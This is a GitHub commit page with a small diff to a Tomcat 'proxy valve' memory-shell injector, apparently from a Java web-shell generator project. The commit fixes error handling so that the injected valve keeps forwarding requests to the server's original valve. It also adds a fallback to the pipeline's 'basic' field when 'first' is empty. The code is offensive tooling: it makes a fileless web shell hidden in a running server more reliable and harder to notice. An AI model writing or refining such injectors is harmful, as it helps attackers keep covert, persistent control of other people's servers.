Skip to content

Commit 9dc2c46

Browse files
committed
fix: proxyValve cause service exception
1 parent ba545a2 commit 9dc2c46

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -57,8 +57,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl
5757
}
5858
} catch (Throwable e) {
5959
e.printStackTrace();
60-
return method.invoke(rawValve, args);
6160
}
61+
return method.invoke(rawValve, args);
6262
}
6363
return method.invoke(rawValve, args);
6464
}
@@ -114,7 +114,9 @@ public void inject(Object context, Object valve) throws Exception {
114114
String fieldName = "first";
115115
try {
116116
rawValve = getFieldValue(pipeline, fieldName);
117-
} catch (NoSuchFieldException e) {
117+
} catch (NoSuchFieldException ignored) {
118+
}
119+
if (rawValve == null) {
118120
fieldName = "basic";
119121
rawValve = getFieldValue(pipeline, fieldName);
120122
}

0 commit comments

Comments
 (0)